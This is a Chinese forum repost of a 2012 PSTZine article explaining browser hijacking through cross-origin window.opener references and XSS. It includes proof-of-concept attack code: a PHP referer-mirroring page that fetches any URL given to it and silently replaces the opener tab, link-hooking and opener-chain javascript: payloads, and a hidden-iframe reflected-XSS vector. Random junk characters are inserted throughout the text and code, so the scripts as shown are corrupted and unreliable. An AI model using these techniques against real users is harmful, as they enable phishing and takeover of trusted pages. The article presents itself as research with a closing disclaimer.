找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2044|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
                           ==Ph4nt0m Security Team==- I; H) l1 ?* _$ k+ n, A

) f' K# F% w8 x' m                       Issue 0x03, Phile #0x05 of 0x07
1 \$ J% o" t$ m; W
9 J  V6 ^: h( p( f& e8 e
' c6 c. c9 W  u5 U* V# r|=---------------------------------------------------------------------------=|
( x( f5 ~. a% _  Q|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|! G% Z. o/ I. Q; L0 ~" j
|=---------------------------------------------------------------------------=|; ]! ?7 s. \1 m0 r& p& L; k
|=---------------------------------------------------------------------------=|
! s% m1 d' l& M7 ~5 }- J|=------------------------=[      By rayh4c     ]=---------------------------=|) A3 B" C% G7 H. K, n
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
4 B5 R$ l4 o* q& a) p0 F|=---------------------------------------------------------------------------=|
1 E2 w' J4 [/ t% S& x. R
& ^8 ~2 |- k' i7 R0 I5 e. A: v
9 `  E- t: v" Q( K9 A[目录]6 z: f) r7 y( S, w
9 Q  |& z4 o; i+ _' V* J
1. 前言7 v% ?7 |8 w* d/ J+ r, `
2. 同源策略简叙! B6 \4 U! e7 V: G# L
3. 理解window对象的同源策略
; ?) |/ ]1 l: o; q3 P4. 窗口引用功能中的同源策略漏洞6 n: o) g7 i& }: n( |5 f
  4.1 父窗口引用子窗口的同源策略问题
( A0 J& S; `7 V0 g! B  4.2 子窗口引用父窗口的同源策略问题
; A8 x% l% B9 }& e( l- q5. 利用窗口引用漏洞劫持浏览器
: t% k7 L% e  Q  j& s' _. O, M6. 利用XSS漏洞劫持浏览器3 t9 M+ @' o( G/ K. w. O/ k+ r9 G) a
  6.1 正向跨窗口劫持- ~+ C4 L. ]$ o# ^8 O
  6.2 反向跨窗口劫持
# J$ @3 a! A, Y/ q. V$ R  6.3 极度危险的跨框架窗口引用劫持- r; k; y  V  B$ O/ o$ Y6 c
  6.4 极度危险的正反向跨窗口递归劫持* g% z" i/ V' O( v4 W7 @
  6.5 完全控制浏览器
# I6 w( e! e. u: H7. 后记, j% Z1 E3 f& I6 H6 J1 V
8. 参考. V* ^  F" S: @1 O7 M
+ p5 ^1 W1 B1 P, u! X
+ q6 d, U* a7 }! X( C" O3 ^
一、前言
* p* C* \4 a- T. _7 [+ Y+ i, g/ |# t
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋4 p- K% p( K: ~% E
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session5 K& |! h+ Y; a
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被* g( a" }; M5 P5 Z# t
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。, n% i! f" U+ i( C. ^& ~
5 g& F) \* m3 y& P

5 e; |7 X9 }' a7 L! ?7 v! y! ]: o6 U9 c二、同源策略简叙
8 r  p9 I  C# v2 K! Z3 A" X1 M5 r% V% q, p2 W
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以- [! x7 p) z& Q6 g* q9 T
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都+ L2 W5 F* \( ^% L" w
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木  B( j8 P+ G" `/ c$ r; W. {5 e
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个' J4 E, `0 |* A; \, O" {. s
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
: I0 d0 S" g( c) `" T0 d
0 s: Z( l1 j) h- ?1 s
7 ^: n# _6 s& y6 o$ ~2 x三、理解window对象的同源策略* }5 m, L/ K: N( e# D

" J! T1 a3 q2 h1 f8 W    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对% u! [/ O# k% O* X  S
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
0 q3 c' P6 G6 Y# f! o8 \) }6 k; x  M4 }; |7 ]
--code-------------------------------------------------------------------------: P6 w2 _7 N; S5 N( ?% f! W
<script language="javascript">
1 g- [  l4 Y. |. u+ x  N& R$ Rfor(p in window) document.write(p+"<br>");
. |$ B/ R- @4 g/ f  @* P</script>
: ~& q6 S- C1 d+ B-------------------------------------------------------------------------------* c% o  ?! N) d

* H# t- \! |6 F: @) {    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方& R% [9 U- G. B& L, Z
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
+ f/ X2 u7 t9 x这些属性和方法就必须遵循同源策略。" P& }& V* e. M; l! ^3 Z
- I( z* w- x2 r6 `- j: X
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
1 Q% H2 a: d; N- u么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
4 T! p8 a! y. U4 G- }" B的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这9 R+ g# Q# j9 r! y+ w$ @
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的- Q" w* v% _5 F8 V3 B6 f3 O
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location$ J9 l7 r% F; b& ^( S
属性并没有被拒绝访问。
! b# }; [, O2 t+ }" q, u5 m  U( h$ J" h" o! s2 }: w" c; u
--demo.html--------------------------------------------------------------------" B# r: X8 t: g
<script language="javascript">   
/ b- m+ b. y9 q5 E$ Qfunction allPrpos(obj) {      
) ^' i/ c5 m+ Q( ~      var props = "<table><tr><td>名称</td><td>值</td>";           1 Q+ X  H* R4 q3 b  U& H' o
      for(var p in obj){          ( o2 d" B% m- {7 T, C8 N& N7 ]
            if(typeof(obj[p])=="function"){   
5 ^5 {3 f' `7 ?1 H2 x* \+ `! R  v                   obj[p]();   + @: t7 S8 s- R; A
             }else{                     
- g& S- Q* n( Y# K% ?" Q                  try   5 @1 d. J7 m- }1 t; o0 m/ Y% _9 I
                   {   0 d1 G4 x8 F* K; E! }4 n
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
) s2 v1 Y# C. ~7 w0 ^- ^: G& ^                   }   
: z: s1 S3 R+ _8 _/ _0 I+ I3 h                  catch (ex)   
; g: X0 {3 ^* M0 @7 f# {* l                   {   " Y, X& z! a4 }& f& Z
                   " ?3 T7 @  k  Z9 q' y
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   ! d! |" R& X7 s
                   }   
8 f! {+ ]  u5 ]% u4 G% G                       0 B! \* j" t( F( ?. w9 B
             }   
" e' ^+ [0 L# r, j$ Z       }   
" W. U, z3 n4 m% ~   $ \' _; m) f- \2 g
       document.write(props+"</table>");   ( y9 j% x- b0 M0 k; a4 s
}   ; P, P7 e' Q# ~8 z& {; ~# I1 |6 P
   7 F3 D* Q) E' f! X. N. A
function createWin() {! j" f! r/ N% |! h$ M. v
        newWin = window.open ("http://www.google.com");  4 f& y6 y# e) M/ k; v) d2 D* |5 a- a3 V
        setTimeout(function(){allPrpos(newWin)},2000); : g% q/ A) r9 g! H+ n, g' U. F4 q  ]
}
0 K2 V+ I; r9 d  m8 O) j5 `
6 q) j0 ?* M+ S$ ?8 N9 w2 a</script>
9 ~7 S1 G- @7 u) f8 e) T
) n/ c, H2 n$ _$ H4 W" s<button onclick='createWin()'>创建一个非同源子窗口测试</button>
( \) D- I: a' P: ]1 W' T: V" P# U-------------------------------------------------------------------------------0 P0 c! p" m' e2 |) E) q7 H

4 i% K: a9 b: p3 W* Z  W8 O) O, r0 }3 l9 l4 ^( c6 A2 e
四、窗口引用功能中的同源策略漏洞7 e. M# V; T- m# C7 V  }# p

" P0 z+ H' C4 _: Z8 P- w4.1 父窗口引用子窗口的同源策略问题) k3 h( p) U* T7 q9 ~/ V

" Q- q7 k  I- m7 a7 n0 t. e0 k7 S  d    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
2 \0 ~" K5 W1 k2 P. [但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
8 S# M* U) v; u9 f* S( E( U浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进* x7 `1 ]8 W) S/ u, v! B2 v, @
行测试,会发现父窗口可以控制非同源子窗口location属性值。4 ]/ t$ ^( v" A8 N+ F# V; P7 \
) z/ {) [9 e  X7 p# z  ?
--vul1.html--------------------------------------------------------------------
# k( g1 f* m1 U+ B& Z9 J5 E<script language="javascript">
8 e* _) |% V4 t# C1 a1 Ffunction createWin() {  
" W. x: |5 j1 |6 H1 h        newWin = window.open ("http://www.google.com");  $ Y) h0 H% n4 a* b  T: Z
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
1 g  s! G& A5 ]/ x. n}
  O+ t7 j: M2 g7 O4 E</script>
( _7 h$ n: a8 ]" T4 A1 t
3 z; m/ T+ t2 Z<button onclick='createWin()'>创建一个非同源子窗口测试</button>2 {* @+ _, P, A3 \6 T6 L2 x" O
-------------------------------------------------------------------------------6 Z6 D, l* Q3 k% a$ `6 h

! t6 Q/ d7 B" m2 l
  b1 F3 c0 A: \7 \+ H4.2 子窗口引用父窗口的同源策略问题6 X- q- c1 m9 \( V3 e) _" ^! Q; i
! J& v0 ?2 S4 j) `+ x& I: i7 f
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使0 L5 m6 ]7 n5 Q& h" ~
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们+ b5 `- C2 R' }. D2 @& R: U
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
) G0 E) V- E: W5 k/ ~会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
5 k7 F( F9 O: @8 E8 _
% K) Q, S. n: J4 ?7 v--code-------------------------------------------------------------------------1 i. c6 T$ S& E& B4 v  m

9 z  q5 b9 n5 y, E  qjavascript:window.opener.location = "http://www.80sec.com";void(0);* l3 p. E5 d5 {+ O

+ I/ J3 ^) k. G6 _! m-------------------------------------------------------------------------------3 W: }2 E" f+ w9 p

2 b. _* {* l9 a1 k- j# \# V  r9 R3 H. D
五、利用窗口引用漏洞劫持浏览器( |0 g# D2 a. g0 {

$ \' c; ~" O( B, ^' w. W' X    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
- Y! |  X! T0 I0 s窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那9 a: l+ q" X0 ?5 \) o1 i
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
# e6 n; w- t6 y; ^5 K! J6 ~1 y8 N7 X" W0 f1 X! k2 I! I: y
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
2 p8 [$ ~: @3 f8 \. g  V生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
2 P7 ^" j/ y: \. |' p2 {者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
5 v, ~8 L0 `0 e! N, T后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
5 t5 F' _( c! o2 g% V: G会产生什么可怕的后果。3 I& |0 Y4 C; b  R4 f
; l, D* @' i: X
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
  ?0 z1 X2 M; ]4 |* [  \2 b: S们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
( {* b1 y9 M3 {) L这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时1 J3 J& b% P8 a( T
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
6 h' c( v0 f+ q9 G以做更多的事情,所有的一切仅仅是因为点击了一个链接。
0 N! {; W2 n' [$ R8 G4 x+ D+ I+ x; g0 f: y" i, Y
--hjk_ref.php------------------------------------------------------------------; f2 M& p3 n2 v7 N$ g, y( F( b2 l
<?php6 t$ A) N4 W& o& n; ]! q
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
3 f. _1 X% V! Q$Url_Mirror = $_SERVER["HTTP_REFERER"];
& G' B5 M& R- E) G} : {% M0 Z- B7 I, G, P* K
if(isset ($_GET['ref'])) {
, F5 A# m: c8 z) S8 G; _echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
, z8 B2 E5 O* P) r& y" O* {  }}
! Q* x9 H3 {% J, Z1 |/ {?>
* d5 C- a6 B. v4 j
: g1 H1 A) R( l$ h<script language="javascript">. z- v7 v8 d3 l5 A: H5 c- d
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
$ _( b$ [" N7 W1 [& W: Y</script>
$ Q3 x$ W. |1 W) |. h) M7 e' ^-------------------------------------------------------------------------------5 B# J# ~* i- a  z6 U4 v# ~/ G+ t

7 {# d& {) y0 d    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
0 J! A1 n, g" [1 x5 l( V9 H" {$ ]# F% y+ Y4 f1 s2 J

2 P: R, |1 L! a六、利用XSS漏洞劫持浏览器% e$ Q; @! R, t! [% g% g( C

2 ^' G1 p  n9 k5 k/ N    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
3 ^2 I3 E! D+ n持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后, n5 C% l0 R( U! V
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
1 U6 o% s1 H# b讨论跨站师的终极技巧:5 O2 g2 c; v0 P/ r: t+ Y- V4 T+ Y
' q, Y8 |/ w7 V- B+ x$ z

  V4 ?( s0 J# j2 C8 i, O$ G6.1 正向跨窗口劫持
, a2 l/ F$ n4 i* u1 e  o
( {2 O4 F7 |$ H: ]8 L2 e* A    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛! P' N, K( _$ \0 h5 y
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
2 h, g+ [# V. z4 [  X接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
& E+ L$ b) S/ ~框脚本。
  v9 z) J5 }* p; P) q# m' B4 {
. u- T% P; H/ j7 m: g+ G& y--hijack_open.js---------------------------------------------------------------
6 ~) C1 F, L) ~9 d% F- Q8 {3 v( C3 l  k6 Q+ d" f3 w. f* r& f
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
3 |& ~7 E- ~7 ?" i) _. U0 E' i
  l4 U5 A5 T7 M2 X8 k* l-------------------------------------------------------------------------------
1 _! A9 U, c! G; P1 B9 ], l3 p3 O% f% n
7 K7 i; o. C! a4 ~, q4 G5 T. A
6.2 反向跨窗口劫持- H. g) ?/ A: ~, i! G. P4 ~

) I8 ~( a: [! W& l/ c0 K& H    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
! q, A/ k! i+ G* W码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话' i1 w, C; u$ `/ V  k. [
框脚本。
6 T" h# l- o& h4 ^, X
, L" o/ J1 }6 @9 c* Y7 h- s--hijack_opener.js-------------------------------------------------------------6 t0 l# z, |; I$ D5 X1 P
2 b6 U# V- g1 s* b) K' L5 i& H
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);* K8 T) B! b7 F5 @* q

, ^# m+ a3 I* p6 x! C9 A0 T-------------------------------------------------------------------------------
! ?/ `$ R4 e# f* S( B; }# \$ n! K4 ~, o7 \. m9 y' S
& I$ Y) L: V  G6 M5 R; z: c
6.3 极度危险的跨框架窗口引用劫持
3 U. J# L& q: z. s! y& _+ L1 u$ o
2 E; z6 T; }  }. B; x    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞6 J9 a6 O% U4 c9 r/ h
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
3 ~4 a; e% Z$ c: L* ^适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
% w3 O" S. I! t) b8 n: y' g非持久型的XSS,如下:
  h4 T3 l0 W( N0 r8 h9 c, l. i
% W5 @5 p. N0 s6 X+ U<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
# S5 O# k& U3 d& I5 r3 v6 U! R! n% w1 q
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
0 g) S/ J* G- r  u! \注入脚本。
4 P$ x1 Z1 y% ~" b6 q
* I5 A5 \' y7 R/ A--hijack_frame_opener.js-------------------------------------------------------
4 M, t  L! A) B, j) A9 D- K<script>0 @  ?+ f0 P; {- [  m% Q  [
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";2 j% n/ }0 Z4 ?
</script>/ ]/ t3 Z; e0 q
-------------------------------------------------------------------------------
# l; `0 T+ O+ u! G9 r2 F' E  e  B+ H( R, j* d1 J" T; s

9 K; m1 f' Y- O, d. c6.4 极度危险的正反向跨窗口递归劫持
& F6 C6 }9 Y! R2 H! E# R: l/ b1 X. c) B3 L
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
; p9 V% L" U1 V6 O# i# V的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过4 Y( T7 Q2 l- [5 m' Z! Y- G
异常处理规避之间跨域页面的访问异常,代码如下:% @1 h  l2 t8 R& k- G
$ `/ u0 j8 Y+ T/ m* F, Y2 H( |% o
--code-------------------------------------------------------------------------
4 K& m- j: P: i8 m6 `" \# b" v. N: U$ o  x: q  c
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
( r: `( y9 \2 n9 S5 z9 f3 x
2 E+ I5 p) p0 b( Z; ?, ?-------------------------------------------------------------------------------
! Q" L; z" f# a; ~, L; q5 P, A" I4 C; B1 s
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可! Q. B1 i/ z; y) e
以劫持B域之前的A域页面,从而实现“隔空打击”。( A8 ^. L, P% U
! u8 b# w0 H# q) B
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
9 A2 F0 a! F1 v: {' G; G1 j% L执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。1 z  f& c) N9 D7 K3 `7 I

) t, `  j, e% _9 c% R: ]    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
& F& k2 v' h5 B) e7 \! `& D# R/ G5 \- F; o
; p6 B( E2 u  q2 d9 D
6.5 完全控制浏览器
, Y+ h/ S' O+ C! J5 a8 |* z$ K1 Y- x9 H- M3 B) b) \
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
2 [' H  ~4 P" B. A8 f是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
! \& P# ]* l) J漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
1 e5 x! x& T+ `3 Z: t而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再  S/ P0 T$ v) I6 w! k
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
) D& g. B) \" c师的终极目标 - 完全控制浏览器。
& t8 Q2 D2 [9 @$ g$ M
) ^6 @7 U( Z) O$ S$ {- k/ @
. k, i8 N0 `) H% \' v. E# ]七、后记
# K" x# S' V# e7 E* M3 Z5 K  ^6 s3 d8 q. x& k  c, x& l- |, K
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全! d2 e* z6 t  e; Z9 `
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予: r8 ~- Y* Q+ f
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
, g! A5 y! \4 D  |( K! e; [
* h3 K0 H% O. @2 G4 V+ u- {
3 G, I' b/ [8 v- D八、参考
5 z' m3 Z' z$ x% ?" x2 c/ T, q
5 P4 o2 i4 T" j$ c# Z1. http://en.wikipedia.org/wiki/Same_origin_policy9 E# f0 k& c, O# E! F- L
2. http://code.google.com/p/browser ... licy_for_DOM_access6 [. A6 c) o3 {
3. http://www.w3.org/TR/Window/
7 ?  E) ~/ ?5 a2 }4. http://www.80sec.com/release/browser-hijacking.txt) r2 V( ^: r, X  H- f
5. http://www.80sec.com/all-browser-security-alert.html& l4 k' y6 C: F, }: E) z
6. http://www.80sec.com/ms08-058-attacks-google.html
" _# i$ ]- X# d4 R" o* H( F0 Y7 S% c$ a8 I! O
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表